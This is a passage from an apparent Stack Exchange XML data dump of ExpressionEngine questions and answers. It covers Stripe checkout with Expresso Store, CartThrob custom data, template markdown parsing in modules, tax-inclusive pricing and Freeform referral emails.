  <row Id="18235" PostTypeId="2" ParentId="18200" CreationDate="2014-01-09T20:11:19.507" Score="1" Body="&lt;p&gt;The &lt;code&gt;avatar_filename&lt;/code&gt; field is a &lt;strong&gt;file&lt;/strong&gt; type field, and therefore only accepts a &lt;strong&gt;file upload&lt;/strong&gt; (see the &lt;a href=&quot;http://www.solspace.com/docs/user/edit/#f_avatar_filename&quot; rel=&quot;nofollow&quot;&gt;example in the documentation&lt;/a&gt;). You cannot submit &lt;strong&gt;string&lt;/strong&gt; data to the &lt;code&gt;avatar_filename&lt;/code&gt; field (through a &lt;em&gt;text&lt;/em&gt; or &lt;em&gt;hidden&lt;/em&gt; field for example), since the field expects not the filename, but an actual file attached to the field. Also, in HTML, you cannot submit a string of data (eg. a filename) as a value for a &lt;strong&gt;file&lt;/strong&gt; field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize, it's not possible.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-09T20:11:19.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18236" PostTypeId="2" ParentId="18215" CreationDate="2014-01-09T20:31:55.937" Score="0" Body="&lt;p&gt;Try adding custom_data[] to the name of your textarea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:save_customer_info_form}&#xA;    &amp;lt;textarea name=&quot;custom_data[delivery_note]&quot; id=&quot;txt-delivery-note&quot; placeholder=&quot;Delivery note&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;{/exp:cartthrob:save_customer_info_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you're recalling the value use {custom_data:delivery_note}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:customer_info}&#xA;    &amp;lt;textarea name=&quot;custom_data[delivery_note]&quot; id=&quot;txt-delivery-note&quot; placeholder=&quot;Delivery note&quot;&amp;gt;{custom_data:delivery_note}&amp;lt;/textarea&amp;gt;&#xA;{/exp:cartthrob:customer_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-09T20:31:55.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18237" PostTypeId="1" AcceptedAnswerId="18248" CreationDate="2014-01-09T20:45:34.650" Score="3" ViewCount="793" Body="&lt;p&gt;I'm having a problem getting Stripe to successfully submit orders. I had it working at one point, but when we switched to live mode it stopped submitting and orders won't complete even if I switch back to test mode. The form just recycles and nothing gets posted to Stripe or EE. Things I've checked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't have inline error handling on. &lt;/li&gt;&#xA;&lt;li&gt;Token gets set correctly.&lt;/li&gt;&#xA;&lt;li&gt;JSON formats and appears to be submitted in network tab of webkit inspector&lt;/li&gt;&#xA;&lt;li&gt;Running Store 2.1 and EE 2.7.1&lt;/li&gt;&#xA;&lt;li&gt;Submit button name is &quot;submit&quot;&lt;/li&gt;&#xA;&lt;li&gt;If I switch to &quot;manual&quot; for my payment gateway it works great, so it's gotta be something in between Store &amp;amp; Stripe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the checkout code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout return=&quot;shop/thanks&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;stripe&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Card Number&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; data-stripe=&quot;number&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Your Name&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; data-stripe=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;select data-stripe=&quot;exp-month&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp_month_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;select data-stripe=&quot;exp-year&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp_year_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;p&amp;gt;CVC&amp;lt;input type=&quot;text&quot; size=&quot;4&quot; value=&quot;&quot; data-stripe=&quot;cvc&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;checkout_submit&quot; value=&quot;Place Order&quot; class=&quot;button&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA; $(function() {&#xA;    $.getScript('https://js.stripe.com/v2/', function() {&#xA;        Stripe.setPublishableKey('pk_test_HTxzad5AIjx1ABhIBigZYtIG');&#xA;    });&#xA;&#xA;    /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;    $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;        /* Only handle requests for Stripe gateway */&#xA;        if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;            /* Temporarily disable the checkout submit button */&#xA;            $checkout_submit.attr('disabled', true);&#xA;&#xA;            /* Create a Stripe card token */&#xA;            Stripe.card.createToken($(this.form), stripeResponseHandler);&#xA;&#xA;            /* We don't want to submit the form yet */&#xA;            return false;&#xA;        }&#xA;    });&#xA;&#xA;    /* This function is triggered once Stripe has generated the token */&#xA;    function stripeResponseHandler(status, response) {&#xA;        /* Re-enable the checkout submit button */&#xA;        $checkout_submit.attr('disabled', false);&#xA;&#xA;        /* Check whether we have a valid credit card */&#xA;        if (response.error) {&#xA;            alert(response.error.message);&#xA;        } else {&#xA;            /* Set the card token and submit the checkout form */&#xA;            $(&quot;#payment_token&quot;).val(response.id);&#xA;            $checkout_submit.off(&quot;click&quot;).click();&#xA;        }&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2014-04-24T07:12:30.847" Title="Expresso Store with Stripe final checkout page reloads instead of submitting" Tags="|expresso-store|stripe|" AnswerCount="4" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="18238" PostTypeId="1" AcceptedAnswerId="18260" CreationDate="2014-01-09T21:16:26.233" Score="2" ViewCount="298" Body="&lt;p&gt;Have this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://192.168.1.2/univsched#/csf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I parse this using EE tags? I want the value: csf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;segment_x tags don't work.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2014-01-10T14:56:44.790" Title="Parsing URL with hashes" Tags="|url|segments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18239" PostTypeId="2" ParentId="18238" CreationDate="2014-01-09T21:21:18.453" Score="7" Body="&lt;p&gt;I believe EE actually throws this value away, and it should.&#xA;The hash is a front end display feature for your browser, not a url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it for javascript and scroll-to positions on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should re-think why you need to be using the hash in the first place.&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2014-01-09T21:21:18.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18240" PostTypeId="2" ParentId="10822" CreationDate="2014-01-09T21:35:42.900" Score="0" Body="&lt;p&gt;I hit this same issue with 2.7.2, so posting in case it helps anyone else.  I had two issues.  One was that I had to change preferences for the editing Member Group to enable 'Can change the author name when posting channel entries', even though I am not changing the author.  Second, I had to change the privileges of the original author Member Group to enable 'Can edit entries authored by others', even though it is their own record that is being edited on their behalf by the other Member Group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that was throwing the error for me, maybe when I have time I'll see if it's 'fixable':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($data['author_id'] != ee()-&amp;gt;session-&amp;gt;userdata('member_id') &amp;amp;&amp;amp; ee()-&amp;gt;session-&amp;gt;userdata('group_id') != 1)&#xA;    {&#xA;        if ( ! isset($this-&amp;gt;_cache['orig_author_id']) OR $data['author_id'] != $this-&amp;gt;_cache['orig_author_id'])&#xA;        {&#xA;            if (ee()-&amp;gt;session-&amp;gt;userdata('can_assign_post_authors') != 'y')&#xA;            {&#xA;                $this-&amp;gt;_set_error('not_authorized', 'author');&#xA;            }...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="236" LastActivityDate="2014-01-09T21:35:42.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18241" PostTypeId="2" ParentId="18237" CreationDate="2014-01-09T22:17:46.227" Score="0" Body="&lt;p&gt;Quite often this line can be a problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have more than one payment option (for example, a hidden field, or radio buttons), then &lt;code&gt;this.form.elements[&quot;payment_method&quot;]&lt;/code&gt; will return an array instead of a single element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, you need to change the line to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (this.form.elements[&quot;payment_method&quot;][0].value == &quot;stripe&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you are using jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($(&quot;[name='payment_method']&quot;).val() == &quot;stripe&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if Stripe is your only payment method, simply remove the conditional altogether:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;$checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;    /* Temporarily disable the checkout submit button */&#xA;    $checkout_submit.attr('disabled', true);&#xA;&#xA;    /* Create a Stripe card token */&#xA;    Stripe.card.createToken($(this.form), stripeResponseHandler);&#xA;&#xA;    /* We don't want to submit the form yet */&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-09T22:17:46.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18242" PostTypeId="1" CreationDate="2014-01-09T22:37:24.560" Score="1" ViewCount="221" Body="&lt;p&gt;I have a module that processes web forms and uses a template to generate an email when finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the module code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['message'] = $message;&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('Template', NULL, 'TMPL');&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;depth = 1;&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_and_parse('experience', '_email');&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;depth = 0;&#xA;$html_message = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;final_template);&#xA;$html_message = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($html_message, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the template, I want to take advantage of the new Markdown formatting, so there is this bit in the experience/_email template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td style=&quot;padding:15px 20px;color:#333;line-height:1.25em;font:13px Tahoma, Verdana, Arial, Helvetica, sans-serif;&quot; class=&quot;body&quot; colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; valign=&quot;top&quot; align=&quot;left&quot;&amp;gt;&#xA;        {exp:markdown}{message}{/exp:markdown}&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, {message} does NOT get converted from Markdown to HTML. I suspect it's something to do with either the order of operations or how template parsing works? Does anyone know why this fails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a more detailed flow. There is a template_group/template page visited. In that template is the form. The template is entirely encapsulated with a module call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:custom_module:workshop identifier=&quot;{last_segment}&quot;}&#xA;    {exp:channel:entries channel=&quot;workshops&quot; limit=&quot;1&quot; sort=&quot;asc&quot;}&#xA;        {embed=&quot;modules/_header&quot; page_title=&quot;{categories show_group=&quot;6&quot;}{category_name} - {/categories}Workshop Registration&quot; body-class=&quot;pd&quot;}&#xA;        &amp;lt;div class=&quot;content&quot;&amp;gt;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The module then has the correlating method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function workshop()&#xA;{&#xA;    $identifier = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('identifier');&#xA;&#xA;    if ($all_of_the_form_data_passes) {&#xA;        // send an email and redirect to the thank you page.&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;        $this-&amp;gt;EE-&amp;gt;email-&amp;gt;clear();&#xA;        $this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'html';&#xA;        $this-&amp;gt;EE-&amp;gt;email-&amp;gt;from('info@example.com');&#xA;        $this-&amp;gt;EE-&amp;gt;email-&amp;gt;to($user['name_first'] . ' ' . $user['name_last'] . '&amp;lt;' . $user['email'] . '&amp;gt;');&#xA;        if ($bcc_recipients)&#xA;        {&#xA;            $this-&amp;gt;EE-&amp;gt;email-&amp;gt;bcc($bcc_recipients);&#xA;        }&#xA;        $this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject($subject);&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;email-&amp;gt;set_alt_message($message);&#xA;&#xA;        $data['message'] = $message;&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('Template', NULL, 'TMPL');&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;depth = 1;&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_and_parse('experience', '_email');&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;depth = 0;&#xA;        $html_message = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;final_template);&#xA;        $html_message = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($html_message, $data);&#xA;        redirect('somewhere');&#xA;    }&#xA;&#xA;    // If anything didn't go well, finish loading the originally requested template_group/template with error messages embedded (in $data)&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there's two templates involved in the process. The template the user visits that renders the form. In the method for the module wrapping that template, the form data is analyzed and if it went well, a second template is fetched, parsed and emailed. If anything did NOT go well, the original template is parsed, supplied with error messages and returned to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've now just worked around the issue by declaring the formatting type in the $data array in the module method as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['message'] = array(&#xA;    $message, array(&#xA;        'text_format' =&amp;gt; 'markdown',&#xA;        'html_format' =&amp;gt; 'markdown'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(as shown in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;Template Class&lt;/a&gt; instructions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also just found the Typography Class (not enough reputation points to link to it, but it's part of the EE manual), which let's me do raw formatting in the module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('typography');&#xA;ee()-&amp;gt;typography-&amp;gt;initialize();&#xA;$data['message'] = ee()-&amp;gt;typography-&amp;gt;markdown($message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is now a third solution to the problem, found in &lt;a href=&quot;http://ellislab.com/forums/viewthread/200387/#938440&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;. Instead of using fetch_and_parse in one command, separate them, as the parse step is evaluating the exp:markdown before the {message} is getting injected. So, I did it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;depth = 1; // Need to increase the depth to get the hidden template&#xA;$email_template = ee()-&amp;gt;TMPL-&amp;gt;fetch_template('experience', '_email', FALSE, ee()-&amp;gt;config-&amp;gt;item('site_id')); // Fetch ONLY. We want the variables replaced before doing the final parse.&#xA;ee()-&amp;gt;TMPL-&amp;gt;depth = 0; // Cleaning up&#xA;$html_message = ee()-&amp;gt;TMPL-&amp;gt;parse_variables_row($email_template, $data); // Parse $data&#xA;ee()-&amp;gt;TMPL-&amp;gt;parse($html_message, FALSE, ee()-&amp;gt;config-&amp;gt;item('site_id')); // Finish up by parsing EE tags.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, none of those tags are in the documentation. I feel like I'm using Private APIs for lack of a better description. Is this the properly sanctioned way of doing this, or is there a way to use &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to get this to work properly without this?&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="413" LastEditDate="2014-01-12T07:37:34.913" LastActivityDate="2014-04-12T09:10:19.040" Title="How can I apply field formatting (markdown) when parsing a template in a module?" Tags="|templates|module|markdown|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18243" PostTypeId="2" ParentId="18220" CreationDate="2014-01-09T22:53:37.147" Score="1" Body="&lt;p&gt;Your choice is basically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) Enter prices ex-tax in the CP, and display them ex-tax on your front end, or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(b) Enter prices inc-tax in the CP, and display them inc-tax on your front end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if you want to display prices ex-tax on your front end, you should enter them ex-tax in the CP, and uncheck the &quot;included in price&quot; option for your tax rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that in your situation, if prices are entered inclusive of tax, there really is no tax-exclusive price for an individual item until it is added to the cart. If you did try to display this, you would only confuse customers with the tax rounding issues we faced in Store 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say your product is $10 including tax, with a 15% tax rate. If you were to calculate the ex-tax price of this product, you would say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$10 / 1.15 = 8.695652174 = $8.70 rounded to 2dp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you cleverly display the price as $8.70 to the user. Then they add 10 items to their cart, thinking the total should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$8.70 * 10 = $87.00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when you use tax-inclusive pricing, the price that is added to the cart is the price &lt;em&gt;including tax&lt;/em&gt;. So behind the scenes, Store does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$10 * 10 = $100.00 (including tax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To display the total tax for the order, Store then calculates the tax on the total:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$100 - ($100.00 / 1.15) = 13.043478261 = $13.04 tax&#xA;$100 - $13.04 = $86.96 excluding tax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you were trying to be clever and display tax-exclusive prices when you entered them inclusive of tax in the CP, your customer would see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$8.70 * 10 = $86.96 &amp;lt;-- whoa! where did my 4c go?!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if you really wanted to display tax-exclusive prices in the first place, then you should enter them exclusive of tax in the CP. That will cause Store to calculate tax in the other direction. For example, if your product cost $8.70 with 10% tax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$8.70 * 10 = $87.00 excluding tax&#xA;$87.00 * 0.15 = $13.05 tax&#xA;$87.00 + 13.05 = $100.05 including tax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this gives you some insight into the perils of converting between tax-inclusive and tax-exclusive pricing. Basically, by entering prices in the CP the way you want to display them on your site's front end, you allow Store to perform the correct calculations and avoid confusing any of your customers by displaying incorrect calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, Store 2 doesn't calculate the total tax on an order until after it has taken into account the item quantity, so it is wrong to try and back-calculate or display the tax-exclusive price if your customers will be charged based on the tax-inclusive price, or vice versa.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-09T22:53:37.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18244" PostTypeId="1" CreationDate="2014-01-09T22:55:48.593" Score="2" ViewCount="582" Body="&lt;p&gt;I have been over the docs and still fall short on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form where customers can dynamically add referrals to notify. I just can't get the email to send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my freeform code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:freeform:form &#xA;            secure_return=&quot;yes&quot; &#xA;            collection=&quot;Loyalty Rewards Referrals&quot; &#xA;            required=&quot;loyalty_customer_number|loyalty_customer_name|loyalty_referral_name|loyalty_referral_email&quot; &#xA;            form_name=&quot;referral_form&quot; &#xA;            form_id=&quot;referral_form&quot; &#xA;            template=&quot;loyalty_rewards_referral_notice&quot; &#xA;            return=&quot;/loyalty/thanks&quot; &#xA;            recipients=&quot;yes&quot; &#xA;            recipient_template=&quot;loyalty_rewards_referral_notice_email&quot; &#xA;            require_ip=&quot;yes&quot; &#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried a few different things, but here is the last bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_customer_number&quot; id=&quot;loyalty_customer_number&quot;  /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_customer_name&quot; id=&quot;loyalty_customer_name&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_referral_name&quot; id=&quot;loyalty_referral_name&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_referral_email&quot; id=&quot;loyalty_referral_email&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient_email_user[]&quot; id=&quot;recipient_email_user[]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form itself is hidden and I do some backend validating, during which I add the following prior to submitting: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //  Create the needed fields in the form&#xA;    for (i = 0; i &amp;lt; combinedReferrals.length; ++i) {&#xA;        $('&amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient' + i + '&quot; value=&quot;' + combinedReferrals[i] + '&quot; /&amp;gt;').insertAfter('.form_field:last');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which adds the fields for the dynamic referrals in the format of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient1&quot; value=&quot;Brian|myEmail@email.com&quot; /&amp;gt;&#xA;&amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient2&quot; value=&quot;Joe|hisEmail@email.com&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the heck am I doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entire freeform code here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:freeform:form &#xA;            secure_return=&quot;yes&quot; &#xA;            collection=&quot;Loyalty Rewards Referrals&quot; &#xA;            required=&quot;loyalty_customer_number|loyalty_customer_name&quot; &#xA;            form_name=&quot;referral_form&quot; &#xA;            form_id=&quot;referral_form&quot; &#xA;            require_ip=&quot;yes&quot; &#xA;            template=&quot;loyalty_rewards_referral_notice&quot; &#xA;            notify=&quot;me@myemail.com&quot; &#xA;            return=&quot;/loyalty/thanks&quot; &#xA;            recipient_user_input=&quot;yes&quot; &#xA;            recipient_user_limit=&quot;1&quot; &#xA;            recipient_user_template=&quot;loyalty_rewards_referral_notice_email&quot; &#xA;        }&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_customer_number&quot; id=&quot;loyalty_customer_number&quot;  /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_customer_name&quot; id=&quot;loyalty_customer_name&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_referral_name&quot; id=&quot;loyalty_referral_name&quot; /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_referral_email&quot; id=&quot;loyalty_referral_email&quot; /&amp;gt;&#xA;        {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then prior to submit, I loop through an array of entries and populate the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //  Create the needed fields in the form&#xA;    for (i = 0; i &amp;lt; combinedReferrals.length; ++i) {&#xA;        //$('&amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;recipient' + i + '&quot; value=&quot;' + combinedReferrals[i] + '&quot; /&amp;gt;').insertAfter('.form_field:last');&#xA;        $('&amp;lt;input class=&quot;form_field&quot; type=&quot;checkbox&quot; name=&quot;recipient_email_user[]&quot; value=&quot;' + combinedReferrals[i] + '&quot; checked /&amp;gt;').insertAfter('.form_field:last');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where 'combinedReferrals[i]' is 'Brian|me@myemail.com'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the emails sending now using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:freeform:form &#xA;            form_name=&quot;referral_form&quot; &#xA;            form_id=&quot;referral_form&quot; &#xA;            notify=&quot;me@myemail.com&quot; &#xA;            require_ip=&quot;yes&quot; &#xA;            secure_return=&quot;yes&quot; &#xA;            collection=&quot;Loyalty Rewards Referrals&quot; &#xA;            required=&quot;loyalty_customer_number|loyalty_customer_name&quot; &#xA;            return=&quot;/loyalty/thanks&quot; &#xA;            recipients=&quot;yes&quot; &#xA;            recipient_limit=&quot;10&quot; &#xA;            recipient_template=&quot;loyalty_rewards_referral_notice_email&quot; &#xA;        }&#xA;            &amp;lt;!-- Customer Fields --&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_customer_number&quot; id=&quot;loyalty_customer_number&quot;  /&amp;gt;&#xA;            &amp;lt;input class=&quot;form_field&quot; type=&quot;text&quot; name=&quot;loyalty_customer_name&quot; 